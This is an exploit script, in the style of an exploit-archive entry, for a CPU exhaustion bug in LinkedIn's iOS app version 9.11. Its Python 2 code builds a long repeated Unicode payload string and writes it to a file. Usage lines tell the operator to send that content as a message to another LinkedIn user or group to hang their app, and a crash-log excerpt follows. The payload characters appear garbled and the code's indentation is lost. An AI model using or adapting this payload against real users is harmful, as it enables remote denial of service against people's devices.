Linkedin iOS 9.11.8592.4 CPU Resource Exhaustion

`#!/usr/bin/env python  
# -*- coding: utf-8 -*-  
#  
# Linkedin Mobile iOS - v9.11 < CPU Resource exhaustion  
#  
# Found this and more exploits at my open source security project: http://www.exploitpack.com  
# Date and time of release: 2 August 2018  
#  
# How to use:  
# Run the script and copy the content of the file, send it as a message to another Linkedin user.  
#  
# Description:  
# Linkedin Mobile iOS v9.11 and prior are affected. The application fails to  
# properly filter user-supplied input and its prone to a remote cpu exhaustion.  
# This exploits use the same bug discovered for WhatsApp: https://www.exploit-db.com/exploits/43107/  
#  
# OS Version: iPhone OS 11.4.1 (Build 15G77)  
# Architecture: arm64  
# Report Version: 19  
# Hardware model: iPhone7,1  
# Action taken: Process killed  
# CPU: 48s seconds cpu time over 62 seconds ( 93% cpu average ), exceeding limit of 80% cpu over 60 seconds.  
# Active cpus: 2  
# 49 ??? (libdyld.dylib + 4032) [0x182e0dfc0]  
# 49 ??? (LinkedIn + 213856) [0x100c04360]  
# 49 ??? (UIKit + 3266392) [0x18d39c758]  
# 49 ??? (GraphicsServices + 45088) [0x185362020]  
# 49 ??? (CoreFoundation + 48552) [0x18337cda8]  
import sys  
reload(sys)  
  
def linkedin(filename):  
sys.setdefaultencoding("utf-8")  
payload = u'O" O(c) Oa O<< O! O O(r) O- Odeg O+- O2 O3 O' Ou OP O* O, O1 Oo U U U U U U' * 158  
sutf8 = payload.encode('UTF-8')  
print "[*] Writing to file: " + filename  
open(filename, 'w').write(payload)  
print "[*] Done."  
  
def howtouse():  
print "Usage: linkedin.py [FILENAME]"  
print "[*] Mandatory arguments:"  
print "[!] FILENAME"  
sys.exit(-1)  
  
if __name__ == "__main__":  
try:  
print "[*] Linkedin iOS 9.11.8592.4 iOS - CPU Resource  
exhaustion by Juan Sacco"  
print "[*] How to use: Copy the content of the file and send  
it as a message to another linkedin user or group"  
linkedin(sys.argv[1])  
except IndexError:  
howtouse()  
`